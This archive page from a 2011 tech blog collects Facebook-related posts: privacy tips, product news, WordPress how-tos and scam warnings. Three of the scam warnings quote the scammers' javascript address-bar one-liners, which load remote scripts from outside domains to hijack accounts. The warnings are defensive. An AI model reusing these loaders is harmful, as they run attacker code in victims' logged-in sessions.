TechBuzz » Facebook

How to Block Facebook from Tracking You

Thilak — Wed, 28 Sep 2011 15:24:11 +0000

This is a guest post by Tom from Chrome-Plugins.org.

Facebook has become one of the most popular websites on the internet, 500 million people login to the site every day. While it is a great tool to stay in touch with your friends, Facebook is generating huge profits by targeted ads. But even if you are logged out and also if you are not a Facebook member – Facebook is tracking every step you make on the web by tracking the websites you visit via the like-button that has been implemented on almost every website nowadays. Does that make you uncomfortable? Well, it probably should. But there is a simple solution.

While Facebook denies that the like-buttons are used to generate surfing profiles it is technically possible. The only way to be sure is to prevent third party websites you visit from sending information back to Facebook. This can be done by simply blocking Facebook services such as the like-button from being loaded in your web-browser. The perfect tool for that is Adblock Plus, a free browser extension available for Firefox and Google Chrome. Adblock Plus is a content blocker, depending on blocking filters it can eliminate any kind of content from the internet. Users can either create their own filters or they can choose from over 40 filter subscriptions that are created by members of the Adblock Plus community and define the elements that are to be blocked. Most people use it to block ads but it can also be configured to block tracking scripts and Facebook integration. All that needs to be done is subscribing to the Facebook Privacy List. If you are on Firefox and have Adblock Plus installed, you just need to click here and confirm the subscription to the filter list by clicking the “Add filter subscription” button.

In Adblock Plus for Chrome, it is a little bit more complicated. To add a filter subscription, right click on the ABP logo in the address bar and choose “Options”. Under the first tab there is a field to enter the URL of a filter list you wish to activate. Paste the URL of the filter list and click the “Add URL” button. An overview of ll available filter subscriptions can be found here, URL of the Facebook Privacay List is http://www.squirrelconspiracy.net/abp/facebook-privacy-list.txt.

If you don’t have Adblock Plus installed already you can get it for Firefox from Mozilla Addons or for Chrome from the Google Webstore.

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‘Facebook For Every Phone’ Launched By Facebook; Supports Over 2.5k Phones

TechBuzz — Wed, 13 Jul 2011 14:21:24 +0000

The folks at Facebook have not been sitting idle when Google+ is grabbing all the eyeballs. The social networking giant has now launched a Java based app called ‘Facebook for Every Phone’. This is a dedicated app which will work on over 2,500 handsets across the world. What makes the app special is that it uses very little bandwidth compared to other Facebook applications. This app is aimed at providing easier and simpler access to Facebook users across the globe.

The app comes with all the features that a regular user asks for. One can upload pictures, have access to the full newsfeed as well as messages and do a lot more with the app. Facebook For Every Phone can be downloaded by typing d.facebook.com/install on your phone’s browser or users can simply head over to the mobile version of Facebook on their browsers and scroll down to the bottom to find the download button. It is being said that this service will be offered for free on some carriers in the UK. Watch the video demonstration below by the Facebook team to get an idea about the new app.

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Google Intros The Google+ Project In Competition To Facebook

Thilak — Wed, 29 Jun 2011 07:04:33 +0000

With Google recently launching the +1 button, very few of us would have expected a social network in the making. And now Google has revealed a new social networking idea which is to be called Google+ (Google Plus). The Google+ Project as Google calls it, seems like a full-fledged competitor to Facebook. The service is just starting off, so some flaws could be spotted, but either way it’s a brave attempt to have a go on Facebook. What we like about the first look of the Google+ Project is the user interface, which for now looks very neat.

Other aspects of the network include +Circles, which is like a group where you add your friends or family in one group. You may have a number of different circles where you add people you’ve come across from various aspects of your life. Say from your office, your hometown or your school and neighbourhood. This basically brings together a group of different people in one place.

Next up in the Google+ Project is +Sparks. +Sparks is like a trending feature as seen on Twitter available in your home screen. Users can search for their favourite topics and share the same with their Circle(s). This is again an improved version of the Facebook sharing feature with emphasis being laid on who you share your stuff with.

Moving on, we find the +Hangouts feature. I personally love this feature a lot. Well basically when you find your friends online on IM, the first thing you do is ping. But little do you know if they are busy with something or that they do not want you to interrupt them. Well, with +Hangouts, users can make themselves available in a separate space. You can select a circle and then see who is hanging out, which by the way also enables video chats making it one fun place for all your friends to hangout. You can have a video conversation with up to 10 friends.

It is obvious that Google would implement the Google+ Project on mobile devices (Android) as well. This service will be called +Mobile. +Mobile will bring an array of sharing features to the table. Users can share their location to every post they send, which can be easily toggled of course. And using Android smartphones users can easily share pictures in a go. When a picture is taken, it silently gets stored in the cloud. Users can then log in and select which ones to upload and which ones to dump. Pretty cool right?

Google +Huddle is a group messaging feature which will let you arrange plans with your friends in a jiffy. All of your friends can be connected in a conversation and you can get opinions and make plans or just have a casual conversation about something you saw during the day.

Well, it seems like Google is going hard at Facebook. The Google+ network certainly has the legs to go far. As of now, the Google+ Project is an invitation only service, so anybody can’t get in. But Google is set to change that pretty soon. But we’re not exactly sure as to when that would be.

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HTC To Unlock Bootloaders With Its Devices

TechBuzz — Fri, 27 May 2011 09:21:04 +0000

HTC has caused quite a stir by announcing on their Facebook page that they will be reconsidering their locked bootloader policy. Though they did not make it clear that if this reversal of the locked bootloader policy will be introduced with new cellphones or with existing devices as well. CEO of HTC, Peter Chou commenting on HTC’s Facebook page said- “There has been overwhelmingly customer feedback that people want access to open bootloaders on HTC phones. I want you to know that we’ve listened. Today, I’m confirming we will no longer be locking the bootloaders on our devices. Thanks for your passion, support and patience.”

Basically an unlocked bootloader will give users the liberty to add custom ROMs or Operating Systems. With locked bootloaders, it is a pretty tough ask to add custom ROMs or user specific operating systems. The Samsung Galaxy S II as you may know comes with an unlocked bootloader, and with both the Sensation 4G and the Galaxy S II lined up for a battle in the future, it is understandable that HTC would want to make good on the device. Motorola has already announced that they will be launching all their new handsets for this year with an unlocked bootloader. This seems more like a strategic move by HTC rather than something done out of genuine concern for its users. But regardless of that, it’s a very good move.

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450 Freefacebook Credits for Free [Facebook Scam]

Thilak — Thu, 19 May 2011 02:54:30 +0000

Yet another Facebook Scam, this time under the pretext of offering free Facebook credits. The signature of the scam looks like this:

Get your free 450 Facebook credits…NO surveys NO waste of time no task its totaly free the first 5000 this promo is available for the first 1000 persons only… CHECK IT OUT & ENJOY… i got mine and it works get yours here

Clicking on the link will take you to a page hosted on blogspot. Bogus, scammy links like these are usually try to leverage free services such as Blogger for their malicious behavior, and this should be a warning sign for innocent users. The page tries to convince Facebook users that they are sponsored by some gaming advertisers who pay them.

Next, you will be asked to “Like” some pages (scams like these always have a hidden motive), and then they ask you to share it 4 times on Facebook. Clicking on this button will take you to another page filled with surveys and suspicious advertisement:

Since you shared his links on your wall, your friends will also fall for this trick. You should never share suspicious links like these on Facebook. Always remember Facebook never hosts their offers outside facebook.com domain. If you come across this scam on your wall, immediately delete it by pressing “x” icon at the upper right corner of the post. Join our fan page to stay informed on scam like these before you fall for it.

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Check if a friend has deleted you [Facebook Scam]

Thilak — Sun, 15 May 2011 20:29:07 +0000

It appears like new Facebook Scams are cropping up each day as scammers have recognized that Facebook users are easy bait. Yesterday we wrote about how innocent Facebook users are being compromised with the promise of revealing who viewed their profile, and today a similar scam has gone viral on Facebook. It looks like a wall post by your friend, and requests you to check if a friend has deleted you. It looks like this:

If you click on the link, it will take you to a third party website – lecotuys.info and asks you to go to Facebook.com, and paste this code into your location:

{code type=php}javascript:(a=(b=document).createElement(‘script’)).src=’//lecotuys.info/whos/jv.js’,b.body.appendChild(a);void(0){/code}

What will it do to your profile?

1. Digging through the javascript code, we found out that pasting this script in your location bar will send a chat message to all your friends without your permission, it will also hide the chat boxes from appearing:

Check if a friend has deleted you , bit.ly/j5XFu0

2. It will advertise itself by posting a link to your friend’s wall

3. It will automatically make you a fan of three suspicious Facebook pages without your acknowledgement.

If you have already fallen for this scam, then please check your “recently liked” pages, and unlike them, if you find anything suspicious. Change your Facebook password, and remove all traces of this spam from your profile. Share this article with your friends, and add us on Facebook to stay knowledgeable about cons like these.

Tip: Actually, there is a legitimate way of tracking if a friend has removed you from your friends list – Better Facebook Firefox Add-on

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Checkout Your PROFILE Stalkers [Facebook Scam]

Thilak — Sat, 14 May 2011 01:29:06 +0000

If you happen to see your friends on Facebook share a link on their wall which says “OMG! Its unbeliveable now you can get to know who views your facebook profile.. i can see my top profile visitors and i am so shocked that my EX is still creeping my profile every hour” with a link to profile-viewer.co.cc, please don’t fall for this scam.

The link claims to show who has been stalking your profile, and to make it look legitimate, the website even tells you a random number of people who are viewing your profile from your city. The page uses your IP to find your location and use this information to dupe you. They ask you to copy a javascript code and paste it into the location bar of your browser.

{code type=php}javascript:(a=(b=document).createElement(‘script’)).src=’//motivationalstories.info/us/js.js?’+Math.random(),b.body.appendChild(a);void(0){/code}

Do not copy the above code into your location bar. It will hijack your account, and post the same message to your friends. Such “find out who viewed my profile” scams seem to be fairly common nowadays on Facebook, and innocent users get their accounts compromised by falling for this trick. Facebook API doesn’t provide data for any applications to tell who has been stalking your profile. Please spread this message, and if you have already fallen victim to this scam, make sure you delete all the traces of this scam from your profile, change your password and inform your friends about the incident. It might even automatically like some random Facebook pages.

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Facebook Tries To Seed Negative Stories Against Google

Thilak — Thu, 12 May 2011 13:02:57 +0000

Tensions between Facebook and Google are building up in Silicon Valley. The social network giant apparently hired Burson-Marsteller PR firm to seed negative stories about Google’s Social Circles to the media and bloggers. These embarrassing report came to light when Burson offered to help an authoritative blogger and ex-FTC researcher, Chris Soghoian, draft a op-ed smashing Google’s privacy policies for Social Circle and how Google is mining user data from Facebook, Twitter and other social networks.

The strategy blew-up when Burson refused to reveal the name of the client who hired them. Chris refused to publish such an article, and posted the entire email conversation on the web for the public to view. The email conversation can be viewed here.

“Recently, Google quietly introduced its latest attempt to enter the social space with a new feature called Google Social Circles. The idea behind the feature is to scrape and mine social sites from around the web to make connections between people that wouldn’t otherwise exists and share that information with people who wouldn’t otherwise have access to it. All of this happens without the knowledge, consent or control of the people whose information is being shared” – Extract from Burson’s email sent to Chris Soghoian

Facebook spokesperson ultimately came clean and confirmed that Facebook had indeed hired Burson to seed negative subject matters in the blogging and media community because Facebook had legitimate reasons to believe that Google’s entry in the social scene with Social Circle raised concerns regarding privacy, and Facebook doesn’t like Google mining Facebook user data to benefit their own social network.

Google is aware of this development, but they would rather not talk about it. Chris Gaither from Google’s global communication and public affairs just said “We’re not going to comment further. Our focus is on delighting people with great products”

Both Facebook and Google have been alleged for showing disrespect towards user’s privacy. At the end of the day, engineering teams from both the companies try to do a good job, and end up pushing the line.

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Facebook Accidentally Leaks Your Private Information

Thilak — Wed, 11 May 2011 17:32:06 +0000

Of late, Facebook has been overrun with scams and other privacy related issues, but now Synmantec uncovers a year old bug in Facebook applications which provide access tokens to third parties like advertisers to access user profiles and post status, photographs or even mine Facebook user data. To understand what these tokens can do, think of them as back-door to access your house without a spare key. Symantec speculates that as many as hundred thousand applications might be unintentionally leaking these tokens, but as luck would have it this bug was not publicly know and didn’t do much damage.

“Third parties, in particular advertisers, have accidentally had access to Facebook users’ accounts including profiles, photographs, chat, and also had the ability to post messages and mine personal information. Fortunately, these third-parties may not have realized their ability to access this information. We have reported this issue to Facebook, who has taken corrective action to help eliminate this issue” says Nishant Doshi from Symantec

Access tokens are usually short-lived, which means they expire after a certain time period. In some scenarios, Facebook also issues ageless tokens for application. Changing password is the only way to revoke these permanently set tokens. Symantec has reported this lapse in security to Facebook, and corrective measures have been taken, but it’s still a wise idea to change your password immediately!

Facebook spokeswoman Malorie Lucich says “Unfortunately, their (Symantec’s) resulting report has a few inaccuracies. Specifically, we have conducted a thorough investigation which revealed no evidence of this issue resulting in a user’s private information being shared with unauthorized third parties,”

Facebook seem to be in a damage control mode to prevent any bad PR on their heads. Please change your passwords.

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Shocking NEW VIDEO of Osama Bin Ladens DEATH!! [Facebook Scam]

Thilak — Mon, 02 May 2011 20:58:01 +0000

Quite similar to what we covered yesterday, a fake video of Osama Bin Laden’s death is circulating on Facebook trapping innocent Facebook users into compromising their account, and asking them to complete surveys under the alleged reason of validating whether they are human.

It has not even been a day since Osama’s death was announced on National Television, and scammers are already trying to take benefit of the buzz which is surrounding the story for their personal gains by promising users a banned video of Osama Bin Laden’s death.

If you click the video link, you’ll be taken a Facebook page which literally forces you to like and share the page before you can watch the video. But eventually, you’ll be asked to verify your account by completing some survey. Always remember that authentic content will never ask you to verify yourself by completing surveys. Scammers raise money each time someone completes a survey, and Facebook users are proving to be easy bait for these scammers.

Such a video has not been release by anyone, and this latest Facebook scam, like any other is trying to advertise itself and spreading itself across Facebook. Stay away from Shocking NEW VIDEO of Osama Bin Ladens DEATH!! link and advise your friends to be cautious about what they click on Facebook.

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Father walks in on his Daughter… EMBARRASIN! [Facebook Scam]

Thilak — Mon, 02 May 2011 14:51:44 +0000

New Facebook scam has gone viral, this time in the form of a link pretending to be a video “Father walks in on his Daughter… EMBARRASIN!” It’s not really a video, but a link with a thumbnail which resembles a lot like a thumbnail for Facebook video, and clicking on the link will take you to a domain outside Facebook.com – isozbanks.com. It’s nothing but a phishing site, which tries to imitate Facebook’s interface into tricking users to fill a security check (the security check is again bogus)

Under the pretext of human verification, the page will ask you to fill-up some surveys. The motive behind this scam is to try and lure innocent Facebook users into filling user surveys, and the scammer gets to eat the commission for every survey filled. Do not perform any action on isozbanks.com, since it will use your Facebook credentials to spam others on your friends list.

If you have already fallen for this scam, please clean up your profile and newsfeed by removing any links to the scam and alert your friends by tell them about this and encourage them to clean up their profile.

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OMG Can’t Believe Justin Beiber Did This To A Girl [Facebook Scam]

Thilak — Sat, 30 Apr 2011 19:27:51 +0000

It should come as no surprise that rogue pages on Facebook try to use viral tricks involving well-known celebrities to dupe users into completing surveys for their personal gains. The latest viral scam running in Facebook “OMG! Can’t Believe Justin Bieber Did This To A Girl” right now is using Justin Bieber as a bait to get users to complete survey with a promise of showing a video of Justin Bieber doing something to “this” girl.

“This” girl obviously doesn’t exist, nor does the video. The motive behind the scam is make money by asking innocent users to fill up surveys. If you see your friends sharing this link, do not click on it. It will automatically spread across your friend list through you, without your knowledge.

Ask your friends to try and delete their existing shared items, and advise them to be more cautious next time. It easy to figure out between scammy links and the rest.

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Apple, Facebook Not So “Green” After All

TechBuzz — Wed, 27 Apr 2011 08:56:55 +0000

Apple, Twitter and Facebook are major enterprises of the world and have been around for some time. But with global recognition and fan following comes responsibility. For example, every company has a green initiative. Apple products are manufactured with recyclable materials and they try to use less amount of packaging for their products, Facebook has a fan page dedicated for the “green” cause. But their energy consumption numbers aren’t something we would like to see.

According to environmentalist group Greenpeace, these enterprises are the culprits when it comes to energy consumption. The company that relies more on coal energy is the worst offender. The Guardian‘s reports suggest that Apple is the worst offender, with the Cupertino based giant using 54.5% of coal energy in their centres, Facebook comes second with over 53.2% of coal energy running their data centres followed by IBM 51.6% and HP 49.4%. Twitter however seemed to be the better of the lot at 42.5%. All the companies were given an “F” rating. Not so green now are they?

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Adding Facebook Send Button to WordPress

Thilak — Tue, 26 Apr 2011 20:00:52 +0000

Facebook unveiled their new Send Button today, which essentially helps your visitors share links with not only their friends, but with Facebook groups and email addresses as well. Facebook takes send button statistics into consideration for Facebook Insights, which means send button shares actually add up to your like count, and hence visually representing the number of people who like your page. This is a good way to highlight your other visitors to promote your content by showing how many people share it.

It hasn’t even been a day, and there are already plugins which adds this new Send Button to your WordPress powered blog. What’s the point in installation a plugin, when you can simply copy paste three lines of code into your theme to get the same functionality. It doesn’t require any sort of experience to insert this little button into your blog. Here’s how you do it:

1. Go to Facebook Developers Website and get the code. You may ignore “URL to Send”, just set the font and color scheme according to your taste.

2. The code would look something like this: {code type=php}

{/code}

3. Replace “APP_ID” from the above code with your own app id. You can get your app id from developers.Facebook.com (Click on “My apps” from the top navigation bar). If you haven’t created your app yet, scroll to the end of this tutorial to learn how to make one.

4. Replace href=”example.com” with WordPress permalink template tag, which will insert the URL of your posts: {code type=php}href=””{/code}

Your modified Facebook Send code without your app id would look like this:

{code type=php}

” font=”arial”>{/code}

5. You can now log into your WordPress Dashboard and go to the theme editor (Appearance > Editor)

6. Edit single.php and find {code type=php}{/code} Now paste your Send Button code just above it (or below it, if you want it to appear at the end of the post)

7. Click ‘Update’ button, that’s it. Simply remove the Send Button code, if you decided to ditch it in future for something better. You don’t need another plugin for this.

How to Generate Your Facebook App ID

If you haven’t figured out how to create your Facebook App ID, don’t worry. It’s very simple and anyone skilled enough to use Facebook can create an app for Facebook. Follow these instructions:

1. Log into Facebook and go to this URL – developers.Facebook.com/setup/

2. Facebook will now ask you for two things- Site name and Site URL. Your site name would also be your applications name, and it can be anything. While entering your domain, keep in mind that you will have to enter your full domain (http://google.com and not google.com)

3. Click ‘Create application’ and Facebook will provide application id (app id) and secret key.

If you run into trouble, don’t hesitate to drop a comment.

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Facebook Send Button to Help You Share Links with Groups or Emails

Thilak — Tue, 26 Apr 2011 18:00:44 +0000

In an attempt to replace “email this to a friend” buttons which you typically find on blogs and websites, Facebook is bringing out the new “Send” button, which essentially does the same thing, but gives you the ability to share it with groups or friends on Facebook at the same time.

Webmaster can add Facebook’s new “Send” button to enable visitors to email links to their friends or share it on the social network. “Send” button will now be included in totaling the number of likes for a page – Sends + Likes + Shares + Comments + Inbox messages = Total number of likes. You can grab the code from Facebook Developers Website and integrate it in your blog/website.

What’s the difference between “Like” and “Send” buttons?

Facebook wants both “Likes” and “Send” buttons to co-exist with each other, which makes it a little complicated for people to understand what these buttons do. Remember those big blue Facebook Share button? Send button is more like a cross between that and traditional email-this-to-a-friend button. Send button is for private sharing, Like button is for public sharing.

Unlike the old Share button, Send button allows you to share links with not only your Facebook friends, but you can also share it with Facebook Groups or even send the link across like an email to your friends. Think of it like Facebook’s first baby step towards killing emails to gain the complete dominance over the web.

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Facebook Deals to Compete with Groupon, Google Deals and The Rest

Thilak — Tue, 26 Apr 2011 17:54:57 +0000

Facebook launched new Deals feature earlier today in Five U.S cities. Unlike the earlier check-in based deals service, which competed with Foursquare deals and helped mobile users get deals when they check-in, this new feature will put Facebook straight into Groupon’s little black book of rivals. Undeniably a bad news for Groupon, Living Social and Google since their new rival in the deals arena already has an active user base of 600 million people logging in and out of Facebook each day.

Facebook Deals will initially be available to users from Atlanta, Dallas, San Francisco and San Diego. They will certainly make the very best out of their social traits to promote Facebook Deals.

All Deals will have a Facebook page of their own, and relevant deals will also start showing up in your newsfeeds. Users can share deals with their friends, buy deals for their friends and even pay using their own virtual currency ‘Facebook Credits’, if they choose not to use their credit card.

Using Facebook Deals, users can buy vouchers which are redeemable for heavy price discounts (sometimes more than 50% off the original price). Using Find Deals on Facebook page, users can search for deals around them and even access deals on their mobile phones using native Facebook apps or via touch.facebook.com

Facebook asserts that credits need not necessarily be split in 70/30 ratio with their partners when deals are bought using Facebook Credits, but they refuse to reveal the exact ratio at which credits will bring cash inflow to the social network. [Images: Mashable]

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New Social Networking Service CloudTalk Launching for iPhone and Android

TechBuzz — Tue, 26 Apr 2011 05:39:43 +0000

The social networking biz has a new player now, we’re talking about the CloudTouch service. And this isn’t one of those typical social networking sites, where you add friends or follow users. But instead Cloud Talk will provide the ability to Android and iOS users to join or start a conversation and add their opinion in the form of voice, text messages, video and photos. This is a very innovative and interesting app which could take some getting used to, and I must say this has all the makings of becoming a flourishing enterprise.

John Linney, Chief Marketing Officer of CloudTalk said - “We’re leading with the smart phones, because that’s what people use for communication. We’re at a transition where the mobile is more important than the Web”. CloudTalk is now available in beta but people can sign up and access some cool features. Users will also be notified of new conversations.

With Voice and video posts, users get to know exactly how you feel, this is something which text messages cannot do and will never be able to do. So this service makes sense than most social networking sites to me. So head on to the Android Market or the iTunes Store to give this thing a try.

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See What You’ll Look in Future – Facebook Scam!

Thilak — Mon, 25 Apr 2011 21:35:12 +0000

Facebook has been plagued by spam! Keith spoke about “Bad News for AdSense users” spam which targets webmasters just yesterday, and we have a new “See what you’ll look in the future” spam plaguing Facebook today. The new spam is virally spreading across Facebook by automatically sharing itself to your friends and family without your consent.

You might come across the spam as a picture of an old man with a link “See what you’ll look in the future!” from your friends on Facebook. Something like this:

Have you noticed the number of people who have shared it on their walls? That’s how the spam spreads.

When you click on the link, it will redirect you to their Facebook Fan page with an iframe on it. Yes, Facebook now encourages iframe to design fan page, which allows you to add any malicious or non-malicious code into your fan page, which is hosted on remote servers.

To innocent users, it looks like regular fanpage with a “Show Me” button. When you click on this button, the fan page will ask you to click CTRL + C, ALT+D, Ctrl+V and Enter key. In reality pressing CTRL+C will copy a piece of code to your clipboard, when you press ALT+D, your address bar will be highlighted, and finally when you press CTRL+V that code will get pasted into your address bar and Enter Key will execute that script.

The script will then advertise itself to all your friends and family with your consent. Please be careful, and do not fall for it. This is the code which the fan page will ask you to page in your address bar:

{code codetype=php}javascript:(a=(b=document).createElement(‘script’)).src=’//charge1.in/js.php’,b.body.appendChild(a);void(0){/code}

as you can see, it appends code from another domain charge1.in.

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How to Sync Your Facebook Events with Google Calendar

Thilak — Fri, 22 Apr 2011 23:54:34 +0000

Lightning for Thunderbird, Google Calendar, Facebook Events, Remember The Milk and the list goes on. Calendars are supposed to make things easier for us to remember, but unfortunately each one of these services have their own ups and downs, and nothing can be more annoying than managing multiple calendars.

Katharine wonders whether it’s possible to sync Facebook Event Invitation with Google Calendar. Yes, it is very simple to synchronize your Facebook events with Google Calendar or any other Calendar service which accepts iCal feed. Here’s how you do it:

Copy iCal Feed from Facebook

1. Log into Facebook.com and click on “Events” from the left hand-side bar

2. At the end of the “Event” section, you will find a link named “Export Events”. Click on it.

3. Copy the iCal link from “Export Events” popup and head over to Google Calendar. (Caution: Don’t share this link with anyone – this will allow them to view your Facebook Events)

Add iCal Feed to Google Calendar

1. Go to Google Calendar. Click on “Add” under Other Calendar and choose “Add by URL” from the context menu.

2. Paste your Facebook Event link and click on “Add Calendar”

All your Facebook Events will automatically show up in your Google Calendar under “Other Calendars”. Hope this helps you Katharine!

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Facebook for Android Updated with Some New Features

TechBuzz — Fri, 22 Apr 2011 15:27:32 +0000

The Facebook for Android app has been updated to version of 1.5.3 and it brings some new features to the table. The ability to tag a specific user in a status update has been added and so is the find a friend feature, you can also add a phone number to your profile and force close the application as well, though it isn’t something that most users would be aware of. Apart from the new features mentioned, it takes care of some vital bugs too.

Facebook is a community where a group of people interact with their friends and closed ones, mostly used when bored. This new update with its ability to find friends and tag friends in a status update, tries to make the app as close to the full version as possible. The idea basically is to make it as easy and convenient on-the-go as possible, yet remind the users that they’re on a mobile device.

Download the updated version of Facebook for Android at the Android Market.

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